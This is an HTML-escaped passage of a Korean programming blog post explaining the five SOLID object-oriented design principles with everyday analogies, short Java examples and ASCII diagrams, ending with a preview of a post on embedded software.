/&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;전&amp;nbsp;세계&amp;nbsp;천재&amp;nbsp;개발자들의&amp;nbsp;실전&amp;nbsp;문제&amp;nbsp;해결&amp;nbsp;비법인&amp;nbsp;**GoF&amp;nbsp;디자인&amp;nbsp;패턴(Design&amp;nbsp;Patterns)**의&amp;nbsp;탄생&amp;nbsp;배경과&amp;nbsp;분류를&amp;nbsp;살펴보았습니다.&amp;nbsp;디자인&amp;nbsp;패턴이&amp;nbsp;특정한&amp;nbsp;상황에&amp;nbsp;꺼내&amp;nbsp;쓰는&amp;nbsp;'도구&amp;nbsp;세트'라면,&amp;nbsp;그&amp;nbsp;모든&amp;nbsp;패턴의&amp;nbsp;근간을&amp;nbsp;지탱하는&amp;nbsp;**객체지향&amp;nbsp;설계의&amp;nbsp;영원한&amp;nbsp;헌법(Fundamental&amp;nbsp;Constitution)**이&amp;nbsp;존재합니다. &lt;br /&gt;&lt;br /&gt;어떤&amp;nbsp;프로젝트든&amp;nbsp;처음에는&amp;nbsp;개발자가&amp;nbsp;신나서&amp;nbsp;코드를&amp;nbsp;짭니다.&amp;nbsp;구조도&amp;nbsp;깔끔하고&amp;nbsp;모든&amp;nbsp;것이&amp;nbsp;완벽해&amp;nbsp;보입니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;하지만&amp;nbsp;몇&amp;nbsp;달이&amp;nbsp;지나&amp;nbsp;기획자가&amp;nbsp;찾아와&amp;nbsp;&quot;기존&amp;nbsp;기능&amp;nbsp;살짝&amp;nbsp;바꾸고&amp;nbsp;신규&amp;nbsp;결제&amp;nbsp;수단&amp;nbsp;하나만&amp;nbsp;추가해&amp;nbsp;주세요&quot;라고&amp;nbsp;요청하는&amp;nbsp;순간,&amp;nbsp;비극이&amp;nbsp;시작됩니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;결제&amp;nbsp;버튼&amp;nbsp;하나&amp;nbsp;추가했을&amp;nbsp;뿐인데,&amp;nbsp;로그인&amp;nbsp;로직이&amp;nbsp;깨지고&amp;nbsp;상품&amp;nbsp;화면이&amp;nbsp;하얗게&amp;nbsp;날아갔습니다!&amp;nbsp;코드&amp;nbsp;한&amp;nbsp;줄&amp;nbsp;고치려면&amp;nbsp;20개&amp;nbsp;파일의&amp;nbsp;수천&amp;nbsp;줄을&amp;nbsp;일일이&amp;nbsp;찾아서&amp;nbsp;뜯어고쳐야&amp;nbsp;합니다!&quot;** &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;지옥&amp;nbsp;같은&amp;nbsp;스파게티&amp;nbsp;누더기&amp;nbsp;코드가&amp;nbsp;되는&amp;nbsp;것을&amp;nbsp;막고,&amp;nbsp;세월이&amp;nbsp;흘러&amp;nbsp;요구사항이&amp;nbsp;폭풍처럼&amp;nbsp;바뀌어도&amp;nbsp;**&quot;새&amp;nbsp;기능은&amp;nbsp;쉽게&amp;nbsp;붙이고,&amp;nbsp;기존&amp;nbsp;코드는&amp;nbsp;건드리지&amp;nbsp;않아도&amp;nbsp;되는&quot;**&amp;nbsp;명품&amp;nbsp;소프트웨어를&amp;nbsp;만드는&amp;nbsp;객체지향&amp;nbsp;5대&amp;nbsp;설계&amp;nbsp;원칙,&amp;nbsp;바로&amp;nbsp;**SOLID&amp;nbsp;원칙**입니다. &lt;br /&gt;&lt;br /&gt;소프트웨어&amp;nbsp;구루&amp;nbsp;로버트&amp;nbsp;C.&amp;nbsp;마틴(Uncle&amp;nbsp;Bob)이&amp;nbsp;정립한&amp;nbsp;이&amp;nbsp;5가지&amp;nbsp;황금률의&amp;nbsp;핵심을&amp;nbsp;직관적인&amp;nbsp;일상의&amp;nbsp;비유로&amp;nbsp;정복해&amp;nbsp;보겠습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;SOLID&amp;nbsp;5대&amp;nbsp;원칙&amp;nbsp;한눈에&amp;nbsp;보기 &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;+---+-----------------------------------------+------------------------------------------+ &lt;br /&gt;|&amp;nbsp;S&amp;nbsp;|&amp;nbsp;단일&amp;nbsp;책임&amp;nbsp;원칙&amp;nbsp;(Single&amp;nbsp;Responsibility)&amp;nbsp;&amp;nbsp;|&amp;nbsp;클래스는&amp;nbsp;단&amp;nbsp;하나의&amp;nbsp;변경&amp;nbsp;이유만&amp;nbsp;가져야&amp;nbsp;함&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;O&amp;nbsp;|&amp;nbsp;개방-폐쇄&amp;nbsp;원칙&amp;nbsp;(Open-Closed)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;확장은&amp;nbsp;열려&amp;nbsp;있고,&amp;nbsp;수정은&amp;nbsp;닫혀&amp;nbsp;있어야&amp;nbsp;함&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;L&amp;nbsp;|&amp;nbsp;리스코프&amp;nbsp;치환&amp;nbsp;원칙&amp;nbsp;(Liskov&amp;nbsp;Substitution)&amp;nbsp;|&amp;nbsp;자식은&amp;nbsp;부모의&amp;nbsp;자리를&amp;nbsp;온전히&amp;nbsp;대체&amp;nbsp;가능&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;I&amp;nbsp;|&amp;nbsp;인터페이스&amp;nbsp;분리&amp;nbsp;원칙&amp;nbsp;(Interface&amp;nbsp;Segregation)|&amp;nbsp;자신이&amp;nbsp;쓰지&amp;nbsp;않는&amp;nbsp;메서드에&amp;nbsp;의존&amp;nbsp;금지&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;D&amp;nbsp;|&amp;nbsp;의존역전&amp;nbsp;원칙&amp;nbsp;(Dependency&amp;nbsp;Inversion)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;구체적인&amp;nbsp;부품이&amp;nbsp;아닌&amp;nbsp;추상적인&amp;nbsp;약속에&amp;nbsp;의존| &lt;br /&gt;+---+-----------------------------------------+------------------------------------------+ &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;SRP:&amp;nbsp;단일&amp;nbsp;책임&amp;nbsp;원칙&amp;nbsp;(Single&amp;nbsp;Responsibility&amp;nbsp;Principle) &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;하나의&amp;nbsp;클래스는&amp;nbsp;단&amp;nbsp;하나의&amp;nbsp;책임(기능)만&amp;nbsp;맡아야&amp;nbsp;한다.&quot;** &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;셰프가&amp;nbsp;청소도&amp;nbsp;하고&amp;nbsp;세무&amp;nbsp;회계도&amp;nbsp;보고&amp;nbsp;배달까지&amp;nbsp;뛴다면? &lt;br /&gt;식당의&amp;nbsp;주방장이&amp;nbsp;요리도&amp;nbsp;하고,&amp;nbsp;서빙도&amp;nbsp;하고,&amp;nbsp;식당&amp;nbsp;청소도&amp;nbsp;하고,&amp;nbsp;세무&amp;nbsp;기장&amp;nbsp;신고까지&amp;nbsp;혼자&amp;nbsp;다&amp;nbsp;한다고&amp;nbsp;상상해&amp;nbsp;봅시다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;세법이&amp;nbsp;바뀌었을&amp;nbsp;뿐인데&amp;nbsp;주방장이&amp;nbsp;세무&amp;nbsp;공부를&amp;nbsp;하느라&amp;nbsp;주방을&amp;nbsp;비워&amp;nbsp;요리가&amp;nbsp;늦어지고&amp;nbsp;식당이&amp;nbsp;망합니다. &lt;br /&gt;&lt;br /&gt;```java &lt;br /&gt;//&amp;nbsp;❌&amp;nbsp;나쁜&amp;nbsp;예:&amp;nbsp;모든&amp;nbsp;걸&amp;nbsp;다&amp;nbsp;하는&amp;nbsp;잡탕&amp;nbsp;클래스 &lt;br /&gt;class&amp;nbsp;UserService&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;registerUser()&amp;nbsp;{&amp;nbsp;/*&amp;nbsp;회원가입&amp;nbsp;로직&amp;nbsp;*/&amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;sendWelcomeEmail()&amp;nbsp;{&amp;nbsp;/*&amp;nbsp;이메일&amp;nbsp;발송&amp;nbsp;HTML&amp;nbsp;조립&amp;nbsp;로직&amp;nbsp;*/&amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;logToDatabase()&amp;nbsp;{&amp;nbsp;/*&amp;nbsp;DB&amp;nbsp;접근&amp;nbsp;및&amp;nbsp;파일&amp;nbsp;로깅&amp;nbsp;*/&amp;nbsp;} &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;//&amp;nbsp;✅&amp;nbsp;좋은&amp;nbsp;예:&amp;nbsp;책임별로&amp;nbsp;깔끔한&amp;nbsp;분리 &lt;br /&gt;class&amp;nbsp;UserService&amp;nbsp;{&amp;nbsp;/*&amp;nbsp;오직&amp;nbsp;회원가입&amp;nbsp;정책만&amp;nbsp;관리&amp;nbsp;*/&amp;nbsp;} &lt;br /&gt;class&amp;nbsp;EmailSender&amp;nbsp;{&amp;nbsp;/*&amp;nbsp;오직&amp;nbsp;이메일&amp;nbsp;전송만&amp;nbsp;담당&amp;nbsp;*/&amp;nbsp;} &lt;br /&gt;class&amp;nbsp;UserLogger&amp;nbsp;&amp;nbsp;{&amp;nbsp;/*&amp;nbsp;오직&amp;nbsp;감사&amp;nbsp;로그&amp;nbsp;기록만&amp;nbsp;담당&amp;nbsp;*/&amp;nbsp;} &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;클래스를&amp;nbsp;수정해야&amp;nbsp;하는&amp;nbsp;이유는&amp;nbsp;오직&amp;nbsp;**&quot;그&amp;nbsp;기능의&amp;nbsp;정책이&amp;nbsp;바뀔&amp;nbsp;때&quot;**&amp;nbsp;단&amp;nbsp;하나여야&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;2.&amp;nbsp;OCP:&amp;nbsp;개방-폐쇄&amp;nbsp;원칙&amp;nbsp;(Open-Closed&amp;nbsp;Principle) &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;소프트웨어&amp;nbsp;요소는&amp;nbsp;확장에는&amp;nbsp;열려(Open)&amp;nbsp;있어야&amp;nbsp;하고,&amp;nbsp;변경에는&amp;nbsp;닫혀(Closed)&amp;nbsp;있어야&amp;nbsp;한다.&quot;** &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;멀티탭&amp;nbsp;콘센트 &lt;br /&gt;새로운&amp;nbsp;전자제품(스마트폰&amp;nbsp;충전기)을&amp;nbsp;샀다고&amp;nbsp;해서,&amp;nbsp;벽을&amp;nbsp;뜯고&amp;nbsp;전선&amp;nbsp;공사를&amp;nbsp;다시&amp;nbsp;할&amp;nbsp;필요가&amp;nbsp;없습니다.&amp;nbsp;멀티탭&amp;nbsp;구멍(인터페이스)에&amp;nbsp;새&amp;nbsp;플러그를&amp;nbsp;꽂기만&amp;nbsp;하면&amp;nbsp;됩니다! &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;기존&amp;nbsp;코드의&amp;nbsp;수정&amp;nbsp;없이&amp;nbsp;새&amp;nbsp;기능&amp;nbsp;확장&amp;nbsp;] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------+ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;Payment&amp;nbsp;인터페이스&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;| &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------+ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;┌───────────────────────┼───────────────────────┐ &lt;br /&gt;+---------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+---------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+---------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;KakaoPay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;NaverPay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;TossPay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;(기존&amp;nbsp;결제)&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;(기존&amp;nbsp;결제)&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;(신규&amp;nbsp;추가!)&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+---------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+---------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+---------------+ &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;새로운&amp;nbsp;결제&amp;nbsp;수단(토스페이)이&amp;nbsp;추가되더라도&amp;nbsp;기존&amp;nbsp;주문&amp;nbsp;처리&amp;nbsp;로직(`OrderService`)&amp;nbsp;코드는&amp;nbsp;**단&amp;nbsp;한&amp;nbsp;글자도&amp;nbsp;고칠&amp;nbsp;필요가&amp;nbsp;없어야**&amp;nbsp;합니다.&amp;nbsp;이것이&amp;nbsp;바로&amp;nbsp;인터페이스&amp;nbsp;다형성을&amp;nbsp;통한&amp;nbsp;OCP의&amp;nbsp;미학입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3.&amp;nbsp;LSP:&amp;nbsp;리스코프&amp;nbsp;치환&amp;nbsp;원칙&amp;nbsp;(Liskov&amp;nbsp;Substitution&amp;nbsp;Principle) &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;자식&amp;nbsp;클래스는&amp;nbsp;언제나&amp;nbsp;부모&amp;nbsp;클래스의&amp;nbsp;역할을&amp;nbsp;온전히&amp;nbsp;대신할&amp;nbsp;수&amp;nbsp;있어야&amp;nbsp;한다.&quot;** &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;자동차&amp;nbsp;렌터카 &lt;br /&gt;내가&amp;nbsp;현대&amp;nbsp;아반떼를&amp;nbsp;몰다가&amp;nbsp;렌터카로&amp;nbsp;벤츠&amp;nbsp;C클래스를&amp;nbsp;빌렸습니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;엑셀&amp;nbsp;페달을&amp;nbsp;밟았는데&amp;nbsp;차가&amp;nbsp;앞으로&amp;nbsp;가지&amp;nbsp;않고&amp;nbsp;뒤로&amp;nbsp;후진하거나&amp;nbsp;멈춰버린다면&amp;nbsp;그것은&amp;nbsp;더&amp;nbsp;이상&amp;nbsp;'자동차'가&amp;nbsp;아닙니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;유명한&amp;nbsp;직사각형-정사각형&amp;nbsp;역설&amp;nbsp;] &lt;br /&gt;-&amp;nbsp;부모:&amp;nbsp;직사각형&amp;nbsp;(가로와&amp;nbsp;세로의&amp;nbsp;길이가&amp;nbsp;독립적으로&amp;nbsp;변할&amp;nbsp;수&amp;nbsp;있음) &lt;br /&gt;-&amp;nbsp;자식:&amp;nbsp;정사각형&amp;nbsp;(가로를&amp;nbsp;바꾸면&amp;nbsp;세로도&amp;nbsp;무조건&amp;nbsp;똑같이&amp;nbsp;바뀌어버림!) &lt;br /&gt;&lt;br /&gt;➔&amp;nbsp;&quot;너는&amp;nbsp;사각형이니까&amp;nbsp;직사각형&amp;nbsp;대신&amp;nbsp;써도&amp;nbsp;되겠지?&quot;&amp;nbsp;하고&amp;nbsp;넣었다가&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;가로&amp;nbsp;길이를&amp;nbsp;늘렸더니&amp;nbsp;넓이&amp;nbsp;계산&amp;nbsp;공식이&amp;nbsp;깨져버리는&amp;nbsp;참사&amp;nbsp;발생! &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;자식&amp;nbsp;클래스가&amp;nbsp;부모&amp;nbsp;클래스의&amp;nbsp;본래&amp;nbsp;의도와&amp;nbsp;규약을&amp;nbsp;위반해서는&amp;nbsp;안&amp;nbsp;된다는&amp;nbsp;원칙입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;4.&amp;nbsp;ISP:&amp;nbsp;인터페이스&amp;nbsp;분리&amp;nbsp;원칙&amp;nbsp;(Interface&amp;nbsp;Segregation&amp;nbsp;Principle) &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;자신이&amp;nbsp;사용하지&amp;nbsp;않는&amp;nbsp;불필요한&amp;nbsp;메서드에&amp;nbsp;의존하지&amp;nbsp;않도록&amp;nbsp;인터페이스를&amp;nbsp;작게&amp;nbsp;쪼개라.&quot;** &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; ️&amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;만능&amp;nbsp;복합기 &lt;br /&gt;단순히&amp;nbsp;흑백&amp;nbsp;인쇄만&amp;nbsp;하고&amp;nbsp;싶은&amp;nbsp;사용자에게&amp;nbsp;&quot;팩스&amp;nbsp;번호를&amp;nbsp;입력하지&amp;nbsp;않으면&amp;nbsp;인쇄&amp;nbsp;버튼을&amp;nbsp;누를&amp;nbsp;수&amp;nbsp;없습니다&quot;라고&amp;nbsp;강요하는&amp;nbsp;꼴입니다. &lt;br /&gt;&lt;br /&gt;```java &lt;br /&gt;//&amp;nbsp;❌&amp;nbsp;나쁜&amp;nbsp;예:&amp;nbsp;너무&amp;nbsp;거대한&amp;nbsp;만능&amp;nbsp;인터페이스 &lt;br /&gt;interface&amp;nbsp;SmartMachine&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;print(); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;scan(); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;fax(); &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;//&amp;nbsp;✅&amp;nbsp;좋은&amp;nbsp;예:&amp;nbsp;알맞게&amp;nbsp;쪼갠&amp;nbsp;역할&amp;nbsp;인터페이스 &lt;br /&gt;interface&amp;nbsp;Printable&amp;nbsp;{&amp;nbsp;void&amp;nbsp;print();&amp;nbsp;} &lt;br /&gt;interface&amp;nbsp;Scannable&amp;nbsp;{&amp;nbsp;void&amp;nbsp;scan();&amp;nbsp;} &lt;br /&gt;interface&amp;nbsp;Faxable&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;void&amp;nbsp;fax();&amp;nbsp;} &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;클라이언트는&amp;nbsp;자신이&amp;nbsp;필요로&amp;nbsp;하는&amp;nbsp;최소한의&amp;nbsp;전용&amp;nbsp;기능&amp;nbsp;인터페이스만&amp;nbsp;바라보아야&amp;nbsp;시스템이&amp;nbsp;단순해집니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;5.&amp;nbsp;DIP:&amp;nbsp;의존역전&amp;nbsp;원칙&amp;nbsp;(Dependency&amp;nbsp;Inversion&amp;nbsp;Principle) &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;고수준&amp;nbsp;모듈은&amp;nbsp;저수준&amp;nbsp;모듈의&amp;nbsp;구체적인&amp;nbsp;구현에&amp;nbsp;의존해서는&amp;nbsp;안&amp;nbsp;된다.&amp;nbsp;둘&amp;nbsp;다&amp;nbsp;추상화(인터페이스)에&amp;nbsp;의존해야&amp;nbsp;한다.&quot;** &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;자동차와&amp;nbsp;스노우&amp;nbsp;타이어 &lt;br /&gt;자동차가&amp;nbsp;'금호&amp;nbsp;윈터타이어&amp;nbsp;특수&amp;nbsp;규격'에&amp;nbsp;딱&amp;nbsp;맞물려&amp;nbsp;용접되어&amp;nbsp;있다면,&amp;nbsp;봄이&amp;nbsp;되어&amp;nbsp;타이어를&amp;nbsp;바꿀&amp;nbsp;때&amp;nbsp;자동차&amp;nbsp;바퀴&amp;nbsp;축&amp;nbsp;전체를&amp;nbsp;잘라내야&amp;nbsp;합니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;자동차는&amp;nbsp;오직&amp;nbsp;**'원형&amp;nbsp;휠&amp;nbsp;규격(추상적&amp;nbsp;타이어&amp;nbsp;약속)'**에만&amp;nbsp;의존하고,&amp;nbsp;타이어&amp;nbsp;회사가&amp;nbsp;그&amp;nbsp;규격에&amp;nbsp;맞춰&amp;nbsp;부품을&amp;nbsp;갈아&amp;nbsp;끼울&amp;nbsp;수&amp;nbsp;있어야&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;DIP가&amp;nbsp;적용된&amp;nbsp;올바른&amp;nbsp;구조&amp;nbsp;] &lt;br /&gt;[&amp;nbsp;자동차&amp;nbsp;(Car)&amp;nbsp;]&amp;nbsp;───&amp;nbsp;의존&amp;nbsp;───&amp;gt;&amp;nbsp;[&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;Tire&amp;nbsp;인터페이스&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;┌───────────────┴───────────────┐ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;일반&amp;nbsp;사계절&amp;nbsp;타이어&amp;nbsp;]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;겨울용&amp;nbsp;스노우&amp;nbsp;타이어&amp;nbsp;] &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;Spring&amp;nbsp;프레임워크의&amp;nbsp;핵심&amp;nbsp;무기인&amp;nbsp;**DI(의존성&amp;nbsp;주입)**와&amp;nbsp;**IoC(제어의&amp;nbsp;역전)**가&amp;nbsp;바로&amp;nbsp;이&amp;nbsp;DIP&amp;nbsp;원칙을&amp;nbsp;완벽하게&amp;nbsp;실현하기&amp;nbsp;위해&amp;nbsp;탄생한&amp;nbsp;기술입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**SOLID**는&amp;nbsp;세월이&amp;nbsp;흘러&amp;nbsp;요구사항이&amp;nbsp;바뀌어도&amp;nbsp;망가지지&amp;nbsp;않는&amp;nbsp;유연하고&amp;nbsp;단단한&amp;nbsp;객체지향&amp;nbsp;소프트웨어를&amp;nbsp;만드는&amp;nbsp;5대&amp;nbsp;원칙이다. &lt;br /&gt;2.&amp;nbsp;기능별로&amp;nbsp;한&amp;nbsp;가지&amp;nbsp;책임만&amp;nbsp;맡기고(**SRP**),&amp;nbsp;구체적인&amp;nbsp;부품&amp;nbsp;대신&amp;nbsp;인터페이스&amp;nbsp;약속에&amp;nbsp;의존하여(**DIP**),&amp;nbsp;기존&amp;nbsp;코드&amp;nbsp;수정&amp;nbsp;없이&amp;nbsp;새&amp;nbsp;기능을&amp;nbsp;확장한다(**OCP**). &lt;br /&gt;3.&amp;nbsp;스프링(Spring)과&amp;nbsp;같은&amp;nbsp;현대&amp;nbsp;엔터프라이즈&amp;nbsp;프레임워크는&amp;nbsp;모두&amp;nbsp;이&amp;nbsp;SOLID&amp;nbsp;원칙을&amp;nbsp;극대화하기&amp;nbsp;위해&amp;nbsp;설계되었다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;소프트웨어&amp;nbsp;설계의&amp;nbsp;최고봉인&amp;nbsp;SOLID&amp;nbsp;원칙을&amp;nbsp;정복했습니다.&amp;nbsp;그렇다면&amp;nbsp;화면도&amp;nbsp;없고&amp;nbsp;키보드도&amp;nbsp;없는&amp;nbsp;자동차,&amp;nbsp;인공위성,&amp;nbsp;의료기기&amp;nbsp;속&amp;nbsp;작은&amp;nbsp;마이크로칩에서는&amp;nbsp;어떤&amp;nbsp;소프트웨어가&amp;nbsp;돌아가고&amp;nbsp;있을까요? &lt;br /&gt;&lt;br 